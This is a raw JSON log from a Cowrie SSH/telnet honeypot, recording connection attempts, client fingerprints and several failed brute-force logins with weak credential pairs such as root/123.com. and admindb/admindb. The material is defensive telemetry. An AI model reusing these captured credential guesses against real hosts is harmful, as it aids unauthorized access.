{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:09.053806Z","src_ip":"198.98.55.71","session":"6585c24245db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.com.","message":"login attempt [root/123.com.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:09.107366Z","src_ip":"198.98.55.71","session":"6585c24245db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:10.119407Z","src_ip":"198.98.55.71","session":"6585c24245db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00177478790283,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:15.484865Z","src_ip":"45.23.213.116","session":"30c3e5ec27ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0021185874939,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:17.465167Z","src_ip":"45.23.213.116","session":"52c2d50f3268","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00123405456543,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:18.871744Z","src_ip":"45.23.213.116","session":"99baf3aba9af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00218486785889,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:19.898418Z","src_ip":"45.23.213.116","session":"e3550b579e3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53170,"dst_ip":"159.203.135.109","dst_port":22,"session":"112937f320e6","protocol":"ssh","message":"New connection: 159.203.92.129:53170 (159.203.135.109:22) [session: 112937f320e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:25.523821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:25.593685Z","src_ip":"159.203.92.129","session":"112937f320e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:25.597734Z","src_ip":"159.203.92.129","session":"112937f320e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admindb","password":"admindb","message":"login attempt [admindb/admindb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:26.205219Z","src_ip":"159.203.92.129","session":"112937f320e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:27.256736Z","src_ip":"159.203.92.129","session":"112937f320e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00174689292908,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:36.754144Z","src_ip":"45.23.213.116","session":"432f0ea0a138","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00107765197754,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:43.482665Z","src_ip":"45.23.213.116","session":"2b5e77a19da6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":46540,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8b29def9238","protocol":"telnet","message":"New connection: 45.23.213.116:46540 (159.203.135.109:23) [session: e8b29def9238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:48.183653Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":46534,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8735348add5","protocol":"telnet","message":"New connection: 45.23.213.116:46534 (159.203.135.109:23) [session: b8735348add5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:48.187721Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":46554,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5a49a14d21f","protocol":"telnet","message":"New connection: 45.23.213.116:46554 (159.203.135.109:23) [session: e5a49a14d21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:50.334871Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":46564,"dst_ip":"159.203.135.109","dst_port":23,"session":"30e3e4ebab10","protocol":"telnet","message":"New connection: 45.23.213.116:46564 (159.203.135.109:23) [session: 30e3e4ebab10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:51.788581Z"}
{"eventid":"cowrie.session.closed","duration":120.00144243240356,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:54.775667Z","src_ip":"45.23.213.116","session":"dcd23539204f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":34698,"dst_ip":"159.203.135.109","dst_port":23,"session":"c41ad9bb068c","protocol":"telnet","message":"New connection: 45.23.213.116:34698 (159.203.135.109:23) [session: c41ad9bb068c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:55.261280Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":36640,"dst_ip":"10.17.0.5","dst_port":22,"session":"079504222e97","protocol":"ssh","message":"New connection: 198.98.55.71:36640 (10.17.0.5:22) [session: 079504222e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:59.544828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:59.549613Z","src_ip":"198.98.55.71","session":"079504222e97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:59.554795Z","src_ip":"198.98.55.71","session":"079504222e97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yf@123456","message":"login attempt [root/yf@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:59.607908Z","src_ip":"198.98.55.71","session":"079504222e97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:00.615198Z","src_ip":"198.98.55.71","session":"079504222e97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":34708,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d123ae56d37","protocol":"telnet","message":"New connection: 45.23.213.116:34708 (159.203.135.109:23) [session: 3d123ae56d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:01.572752Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.31.111.96","src_port":58624,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7bd6aed8373","protocol":"telnet","message":"New connection: 27.31.111.96:58624 (159.203.135.109:23) [session: f7bd6aed8373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:04.483337Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":48992,"dst_ip":"159.203.135.109","dst_port":23,"session":"4180fbdb4ed0","protocol":"telnet","message":"New connection: 45.23.213.116:48992 (159.203.135.109:23) [session: 4180fbdb4ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:05.739126Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":48982,"dst_ip":"159.203.135.109","dst_port":23,"session":"949a92aaa121","protocol":"telnet","message":"New connection: 45.23.213.116:48982 (159.203.135.109:23) [session: 949a92aaa121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:05.744456Z"}
{"eventid":"cowrie.session.closed","duration":120.00175452232361,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:06.678619Z","src_ip":"45.23.213.116","session":"b66fb5024194","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00155210494995,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:07.471733Z","src_ip":"45.23.213.116","session":"89680e3b777c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38844,"dst_ip":"159.203.135.109","dst_port":22,"session":"82ab7cbdeaa9","protocol":"ssh","message":"New connection: 159.203.92.129:38844 (159.203.135.109:22) [session: 82ab7cbdeaa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:08.128433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:08.133671Z","src_ip":"159.203.92.129","session":"82ab7cbdeaa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:08.138571Z","src_ip":"159.203.92.129","session":"82ab7cbdeaa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administer","password":"123456","message":"login attempt [administer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:08.149513Z","src_ip":"159.203.92.129","session":"82ab7cbdeaa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.000741481781,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:08.749427Z","src_ip":"45.23.213.116","session":"7175d35588c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":48998,"dst_ip":"159.203.135.109","dst_port":23,"session":"50e2e5c865d5","protocol":"telnet","message":"New connection: 45.23.213.116:48998 (159.203.135.109:23) [session: 50e2e5c865d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:08.799242Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:09.155544Z","src_ip":"159.203.92.129","session":"82ab7cbdeaa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":49008,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7f9818e2c36","protocol":"telnet","message":"New connection: 45.23.213.116:49008 (159.203.135.109:23) [session: b7f9818e2c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:12.896840Z"}
{"eventid":"cowrie.session.closed","duration":120.00129556655884,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:14.917568Z","src_ip":"45.23.213.116","session":"2be5023ea2fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00147700309753,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:15.570799Z","src_ip":"45.23.213.116","session":"d5749e6b0b72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.785369157791138,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:17.268588Z","src_ip":"27.31.111.96","session":"f7bd6aed8373","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00115823745728,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:18.627195Z","src_ip":"45.23.213.116","session":"5107378da63c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":39364,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c0efab99a14","protocol":"telnet","message":"New connection: 45.23.213.116:39364 (159.203.135.109:23) [session: 0c0efab99a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:28.867015Z"}
{"eventid":"cowrie.session.closed","duration":120.00168800354004,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:32.690094Z","src_ip":"45.23.213.116","session":"fb7c378defe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":38072,"dst_ip":"159.203.135.109","dst_port":23,"session":"2924ed865be6","protocol":"telnet","message":"New connection: 45.23.213.116:38072 (159.203.135.109:23) [session: 2924ed865be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:33.919547Z"}
{"eventid":"cowrie.session.closed","duration":120.00109314918518,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:41.949312Z","src_ip":"45.23.213.116","session":"688929956021","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00105738639832,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:42.971862Z","src_ip":"45.23.213.116","session":"939adf4d1dc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00151705741882,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:44.859498Z","src_ip":"45.23.213.116","session":"0487cfaf52a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":48372,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a4f0a8e9e81","protocol":"ssh","message":"New connection: 198.98.55.71:48372 (10.17.0.5:22) [session: 1a4f0a8e9e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:51.912622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:51.917379Z","src_ip":"198.98.55.71","session":"1a4f0a8e9e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:51.922873Z","src_ip":"198.98.55.71","session":"1a4f0a8e9e81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demouser","password":"demouser@2024","message":"login attempt [demouser/demouser@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:51.974946Z","src_ip":"198.98.55.71","session":"1a4f0a8e9e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:52.982746Z","src_ip":"198.98.55.71","session":"1a4f0a8e9e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46020,"dst_ip":"159.203.135.109","dst_port":22,"session":"32880a6f1676","protocol":"ssh","message":"New connection: 159.203.92.129:46020 (159.203.135.109:22) [session: 32880a6f1676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:52.997841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:53.003113Z","src_ip":"159.203.92.129","session":"32880a6f1676","protocol":"ssh"}
